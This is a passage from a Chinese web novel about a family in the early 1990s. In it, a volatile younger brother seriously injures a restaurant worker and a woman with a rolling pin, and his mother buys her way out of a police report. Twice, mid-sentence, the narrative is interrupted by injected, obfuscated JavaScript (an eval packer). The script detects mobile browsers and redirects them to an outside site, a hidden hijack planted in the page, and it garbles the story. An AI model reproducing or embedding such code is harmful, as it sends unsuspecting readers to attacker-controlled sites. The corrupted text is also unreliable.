90年代初,哪怕是城里也是用旱厕的,只有一个坑位,李斌一进厕所就看见磊子正在蹲坑儿。 他们两个人一站一蹲,李斌居高临下地看着他,忽然之间气血上头,他觉得揍这小孩儿一顿简单的就像碾死一只蚂蚁,李斌走近两步,满脸轻蔑地问:“你刚才瞎嚷嚷什么?” “哥,我没嚷嚷呀。”磊子扯出卫生纸,赶紧擦完提裤子。 李斌看见他这副孬样,突然抬脚踹在他心口之上。 磊子毫无防备,后退两步硬生生撞在墙角,他一时间有些蒙,同时羞恼中带着本能的怒意,他吼道:“干嘛?你有病啊?” “有病”两个字再次点燃李斌的沸点,他大脑发麻,脸上横肉微微抽搐,双手慢慢握拳,由于潜意识过度兴奋导致他的手都在抖,李斌猛然挥拳砸在磊子的肚子上。 磊子年轻气盛,虽然占了下风,裤子都没提好,仍然胡乱地挥着拳头疯狂回击。 两个人就这样扭打在一起。 最先察觉不对的是出来倒水的后厨师傅,他大喊:“快别打了,来人呀...来人呀...” 听到喊声,林娟和两三个伙计厨师们哗啦啦跑出来,他们极力把两个打红了眼的人拉开。 就在这时,王勇进来,声如洪钟地问:“怎么回事儿?” 磊子弯腰捂着肚子,他知道自己犯错了,不敢看王勇,吓得缩了缩脑袋。 李斌则扬着脑袋,是一副混不吝的模样。 “受伤没有?”王勇问他们俩。 小伙计吱吱唔唔的,也不敢说疼。 李斌笑了笑,觉得王勇会帮自己,毕竟中间隔着王惠和李武,他们才是沾亲带故的亲戚,王勇不会帮一个外出打工、毫无关系的临时工,他拍了拍手,嚣张道:“我脚受伤了,踹他的时候崴到了,让他赔我医药费。” 磊子疼得脸上直抽抽,听到李斌还跟他要赔偿,都快哭出来了,“哥,我没钱赔。” 王勇拍拍磊子的肩膀,转头跟林娟说:“先送小孩儿去医院。” 林娟扶住磊子的胳膊才发现他胳膊侧面全是擦伤,“走,跟我走。” 磊子一听去医院却不干了,他使劲往后退,说:“姐,我没钱去医院。” “我给你出,先看看有没有伤。”林娟拽不住他,趁机给后厨师傅使了个眼色,后厨师傅和林娟一起圈着磊子往外走。 李斌见这情况不爽了,明明是自己受伤,为什么他们要带个临时工去医院?眼看磊子就要离开店里,李斌突然一个箭步冲过去,抄起桌子上的擀面杖,硬生生朝那磊子的后脑勺砸去。 林娟像是感受到李斌带起的邪风,她微微侧脸余光正好瞥见抡下来的擀面杖。 说时迟那时快! 林娟下意识朝右猛推了磊子一把。 那擀面杖硬生生锤在林娟右胳膊上,同时在空中滑过又砸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14777633|154194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在磊子的后脑枕部。 磊子眼前瞬间黑暗,他“咣当”一声摔倒在地;林娟胳膊上的疼痛后知后觉,慢慢顺着神经爬上大脑,然后她就疼得再也直不起腰。 “娟儿!”王勇一声大喊,跑过来抱住林娟,林娟疼得嘴唇都白了,王勇扶住她的胳膊,急迫地问:“怎么样?” “我胳膊是不是掉了?”林娟伏在他怀里,一时间感觉不到自己胳膊的存在。 “老板,血!!血!!!”后厨师傅忽地大叫起来,磊子的身体不停抽搐,脑下淌了一大片血迹。 “快!送医院!”王勇喊道,“先去叫李武过来。” 一旁的员工快跑着去叫李武。 听到“李武”这个名字,李斌好像才一点点清醒过来,直到这时,他才意识到自己又闯了大祸,擀面杖“啪”的一下掉落在地。 李武正好采购回来,他来到驴火店,远远看到后门门口的这些人,有些不好的预感,他问:“大哥,这...这是怎么了??” “你弟弟干的好事儿!快,先跟我一起把人送医院!”王勇压着怒火嚷道。 李武看到一眼缩在墙角的李斌,愣了一下,太阳穴突突猛跳,便快速和后厨师傅一块儿扶起满脑袋血的磊子往外走;王勇则一把抱起林娟跟在他们身后。 县医院离得不远,李武用自行车驼着磊子,后厨师傅在后面扶着,李武吓坏了,磊子这血淋淋的模样可千万别死了。 刚到医院,磊子就突然呕吐不止,医生赶紧给他上各种仪器稳住生命体征,王勇赶紧派人去叫磊子家人。 林娟的诊断也好不到哪里去,她是右前臂粉碎性骨折,必须尽快安排手术。 两个病人都交给医生医治以后,王勇扶着墙壁,对李武说:“报警,必须报警,涉及人命了。” “大哥!”李武央求王勇:“大哥,能不能不报警?等人醒了以后,咱们商量赔钱?实话跟你说,斌子的精神有问题。” 李武知道李斌的脾气,从小到大不知道惹了多少事儿,赵梅每次都怕连累李同仁的职位,因此每次都替他花大价钱解决。这次赵梅没在身边,李武这个当二哥的不能对坐视不管。 王勇诧异地看向李武,说:“拿钱了事儿?这孩子要是没命了怎么办?法律判不判是一回事,我报不报警是另外一回事,他是我的员工,我有必要让警察给他一个公道。” “大哥,你想想我们两口子也不容易,咱们非得把事儿闹大吗?” “李武,这涉及人命,触及法律,咱们两个没办法私下解决。” 王勇安顿好医院后,正打算去警队报警,正在这时,一名护士出来叫王勇,说林娟想见他。 林娟对王勇说:“你问问磊子的家人想怎么处理,听人家的,咱们因为小惠夹在中间,没办法决定报不报警。” “这事儿差点出人命,怎么能不报警?” 林娟伸手出来,王勇立刻握住她,她说:“你想想你亲妹妹,她本来就因为没生儿子被婆家挤兑,这要是报警了,她还怎么在婆家过呀?” 王勇比王惠大了十六岁,他眼看着当初那个喝奶的小丫头长大成人,嫁作人妻,长兄如父在他们两个身上特别贴切。 王勇陷入了犹豫。 26. 钻入囚笼 李斌回家后,赵梅听说他把人打得浑身是血,躺到在地,赶紧把他藏了起来。然后,她自己蹬上自行车来到城里找王惠。 王惠一早听到乌泱乌泱的动静,但是店里没人,她又带个孩子,也就没出门去瞧,等李武和她哥带着一帮人去医院,经过门口时她才惊醒,这动静竟然是驴火店传来的。 王惠跑出门看见磊子满脸满身的血,着实把她给吓着了,她喊她哥和李武,俩人都让她别担心,回去看好店,可她的心里还是七上八下,紧接着她就看见李斌从驴火店里狼狈地跑出来,王惠眉心突突直跳,李斌手里还拿着那把擀面杖,他二话没说,骑上自行车飞快地跑了,王惠更加忐忑不安。 大约两个小时以后,赵梅焦急地来到店里,她带着李斌的精神疾病住院材料,用略带央求的口吻说:“小惠呀,你是咱们这家里的人,你得帮帮你弟弟呀!这是他住院的证明材料,就算你哥报警,警察也不会判他,你去跟你哥求求情,咱们私下商量和解吧。” 王惠想起上午那一幕心里还瑟瑟发抖,她担心道:“妈,要不咱们去看看被打的人吧,万一真出事儿,也不是咱们想和解就能和解的。” “挨打的人什么样儿?你看见了吗?”赵梅这才想起来问问伤者,她又补充道:“老三都跟我说了,他没下死手,就是拿擀面杖胡乱抡了一下。” “我看见那孩子浑身血淋淋的,在自行车后座上坐都坐不住,俩大人在后面圈着他才没栽下去,太可怕了。” “那你还愣着干什么?走,我跟你一块儿去医院!”赵梅脱口而出是命令的语气,她觉得有王惠在,王勇多少能留些情面。 王惠人在店里,心慌得厉害,她把店门关了,拉上李争争往外走,赵梅说道:“带个孩子干什么?耽误事儿,把她放隔壁店里吧。” 李争争眨了眨大眼睛,仰头看向奶奶。 王惠把店门锁好,抱起李争争,说:“走吧,带着争争不碍事儿,女孩儿不能交给别人带。” 可是昭昭呢? 赵梅撇撇嘴,不以为然,她小声嘀咕道:“就那么一丫头片子,那么当回事儿干嘛?” 来到医院走廊,王勇和李武分坐长椅两头,李武看见她们三个来了,站起身走过来,他倾身抱起争争,赵梅赶紧上前问:“老二,那人怎么样了?这事儿打算怎么处理呀?” “人在里面做手术呢,具体怎么处理,得等等伤者的情况。” 王勇见她们来了,站起身点点头,以示礼貌。 王惠来到王勇身边,问:“哥,嫂子怎么样?” “右前胳膊被打碎了!”说出这话时,王勇尽量克制情绪。 “磊子呢?”王惠问。 “不太好,医生紧急救治呢。” 王惠点点头,“你中午吃饭了吗?” 王勇摇摇头,“不饿。” 王惠觉得自己再多说什么都无用,她也坐在长椅上静静地等伤者出来。 赵梅听到李武的态度是“等”,她不悦的同时压低嗓音道:“什么等伤者,你弟弟的情况,还有你爸的情况你不知道啊?这事儿只能商量私下和解。” “妈!人真挺严重的,先看看有没有生命危险吧。”李武心里闷着一口气,“你从小惯着老三,给他惯得无法无天,不知轻重。” “什么不知轻重?咱们得问问清楚,那人干嘛招惹老三,一定是他的问题。”赵梅极力掩饰自己的心虚,试图给李斌开脱。 李武没说什么,他是真的认为得等人醒了再说后续。 赵梅见他沉默,眉心蹙了蹙,从自己的布兜子里拿出一摞纸,来到王勇身旁,“她哥呀,你看这事儿能不能和解呀?这是我们老三的病情鉴定,我们精神上确实有点问题。” 王勇侧抬头看向赵梅,她皱纹深刻,身形佝偻,可就是这样一个小老太太,之前说过‘往外送个丫头,这不是很正常的事儿’,这让王勇对她印象深刻。 “婶子,这事儿我做不了主,挨打的小孩儿脑出血,先看看能不能治好,再说也得人家爸妈说了算,我们娟儿的伤也不轻,等娟儿醒了我问问娟儿意思。” “哎呀,你别拿官话搪塞你婶子,在你店里发生的事儿,你的员工和你媳妇儿,你怎么做不了主呢?大侄子,要不这样,你帮我跟伤者家属商量商量,我们愿意用钱来求个和解。” 赵梅这话一出,李武都怀疑自己家是不是有金山银山,要不就是有钻石山,从小到大李斌每次闯祸,赵梅永远是这个路子摆平。 “先等等医生的诊断结果吧,现在提这个有点早,人家父母要是执意报警,我没资格拦着。”王勇双手捏紧膝盖,他当然想报警,连自己的媳妇儿都保护不了,还算什么男人? “行,行,大侄子,那你答应婶子个事儿,那孩子的父母要是来了,你帮我说说好话,我老婆子也在这儿等着,给人家赔礼道歉。”赵梅说。 王勇沉默,不再说什么。 “让我下跪都成。”赵梅又补充道。 “妈......”李武蹙眉在一旁不悦道:“你这是干什么?” “我解决问题,我干什么?”赵梅瞪他一眼,觉得面前这个儿子真是没用,什么都靠不住。 后来,磊子的母亲来了,当她知道自己的独生子险些被被打死,吓得差点儿晕过去。 赵梅在跟前呆着,又买吃又买喝又陪聊,她一开始没有透露自己是打人者的母亲,只是当作医院里萍水相逢的陪伴,等和磊子妈妈熟了以后,她才一点一点透露自己的目的。 一天后,磊子渐渐清醒过来,他被医生诊断为脑出血加脑震荡。 经过赵梅低头认怂的一系列操作,受伤的人都没有报警,而是除医药费外,她单独给磊子赔偿一300块钱,给林娟赔偿了100块钱。 赵梅知道自己的丈夫李同仁极好面子,所以他的儿子不能有丝毫差错,更不能有违法乱纪的行为发生,赵梅为了保住李同仁的面子和乌纱帽,四处借钱、各种求人,哪怕打落牙齿混血吞,她都得求个和解。 这事儿解决完后,赵梅还非常严肃地和王惠约定,她要王惠为李斌有病的事保密,千万千万不能让向华知道。 王勇为了妹妹以后的日子好过,也只能睁一只眼闭一只眼。只是打那儿起,王勇就不再采购李斌烙的大饼了,又过了几个月,王勇带着店里的员工去了山河市开店,把原来县城的店关掉了。 王勇搬走后,烙饼摊生意越来越差,李斌在摊前的空闲时间越来越多。慢慢地,他结识了一些县城里的无业小青年,那些小青年经常带他去台球厅赌球儿。 突然有一天,一群穿着花花绿绿的小青年拿着球杆和棍子,猛地冲进王惠店里好一顿□□,把王惠和李争争吓得脸都白了。 他们犹如狂风过境,把所有现金都抢走了,吃的、喝的、用的,全部零元购带走。王惠当时想报警,李斌从后院墙缝里冲出来拉住她,“二嫂,别报警,是我欠了他们的钱。” 到了同年九月份,李武和王惠的小卖部彻底开不下去了,只要李斌一欠钱,那帮小青年就过来嚯嚯。 李武说过李斌无数次,他也听不进去,每次都无疾而终,他也让赵梅把李斌叫回去过,可每次叫回去都是吃顿饭就又回来了。 王惠不敢直接说李斌,更不敢报警处理,王勇搬走之前和王惠交待过:李斌这种从小被惯大的浑人惹不得,不知道你哪个字儿戳到他的点儿上,他就直接给你来个原地爆炸。 店铺转让那一天,他们一大早和接手的人做货品交接,交接完,李武和王惠走着回租住的房子。 这个小卖部自1991年4月开起来,到1993年10月关闭,刚好两年半的时间,小店最终以赔本赚吆喝的方式关闭了,同时李武和王惠两个人第一次改变命运的机会也以失败而告终。 后来的后来,王惠在脑海里回顾自己的前半生,她才发现人真正能改变命运的机会真的不多,而这种机会一旦错过,就永远不会再来。 火车 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14781945|154194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轰鸣声在不远处响起,王惠那种渴望挣脱农村禁锢,获得更广阔生存空间的希望破裂,一并破裂的还有她那渴望找寻自我的浪漫因子。 王惠愁苦地想:我以为只要两个人好好过日子,日子就一定会蒸蒸日上,可现在这日子哪儿是向上爬呀?一个受伤的李争争,一个骨肉分离的王昭昭,好不容易做起来的小买卖也黄了,接下来,这一家子人可怎么办呀? 王惠陷入了愁苦,过了一会儿,她又讽刺地想,小店儿黄了,这下婆婆就没什么可惦记了吧? 后来,王惠回娘家看昭昭,林娟正好也在家,林娟特别郑重地问王惠:“小惠,你有没有想过自己开店?去山河市开只属于你自己的店?” 王惠觉得林娟说得简直就是天方夜谭,她拉扯着一个三岁的李争争,还有一个昭昭牵着她的心,还有李武,怎么可能把李武撇在家里,自己出去开店呢? 王惠想了想,说:“我出不去呀大嫂,出去我跟李武这个家就得散。” “你让他去山河市里找个活儿干不就得了?把争争带上,这有什么难的?你别先把自己绑缚住好吗?”林娟真是替她着急。 “我回去商量商量吧。”王惠低头摸摸争争的脑袋。 “你有你哥给你托底,他在那边儿的资源你都可以用,就是你哥让我跟你商量的,不以李家的名义开店,就以你自己的名义开只属于你的店。”林娟给她掰开了揉碎了讲,试图说服她。 “我明白的大嫂。”王惠无动于衷道。 后来,王惠没有和李武商量,她拒绝了林娟,她知道大哥为什么把店搬走,也知道大哥让她自己开店是不想和李家人掺合在一起,她知道大哥是为她好的,可兄妹两个的立场和身份已经发生了变化。 王惠必须考虑李武的感受,她知道自己在大哥的帮衬下一定会越来越好,可她也怕自己越来越好,她怕自己太优秀,怕自己太能干,怕李武心理失衡,怕自己婚姻变化,怕影响孩子的健康成长。 有些女人一旦结婚有了孩子,就会浑身软肋、怕这怕那,所以王惠选择夫唱妇随,和李武一起回到广进村。 当她感到害怕的那一刻,她就把自我利益让渡给了另外一个人,她的主体性渐渐消失,真正变成了人们赞美的贤妻良母。 看啊!封建教条、舆论环境对女人的影响并不可怕,可怕的是女人心甘情愿的将绳索套在自己的脖颈。 这些束缚让她不敢变好,不敢变强,她委身家庭,甘之如饴地依赖男人,自主自愿地钻入囚笼。 —— 十月份,他们彻底搬回了广进村。 李武回去以后一度特别焦虑,他一个年轻气盛的大小伙子,那时也不过才二十四岁,他转遍了县城里的所有厂子,都没找到适合的岗位。 他试图求助自己的父亲,可李同仁却说:“你从小就不好好学习,就知道去大坑里打群架,哪儿有合适的工作给你?都是你妈把你们几个养废了,一个有出息的都没有。” 李武听了这话,气愤中夹杂委屈,他说:“爸,你现在说这种风凉话儿有什么用?我都是两个孩子的父亲了,我还能回去上学不成?再说了,我为什么把城里的店关了?” 李同仁因为他们几个不好好学习而生气,主要是他战友家儿子考上了北京的大学,他在单位天天听人家说嘴,自己嫉妒得不行,所以到家后总是对他们几个阴阳怪气。 当然,他是个自视清高的人,为了树立自己刚正不阿的领导形象,一直不肯给孩子们安排工作。赵梅求不动李同仁,只能让李武把李斌带出去工作。 “为什么?还不是因为你没看好你弟弟?”李同仁摘下眼镜,把报纸放在一边,“你弟弟什么时候学会打台球的?什么时候染上赌球的?你这个当哥哥的管过没有?” “爸!全赖我是吗?”李武气得脸都红了,“老三是个成年人,我怎么可能全方位管着他?再说了,就他那脾气我,我管得了吗我?” 李同仁摆摆手,让他出去了。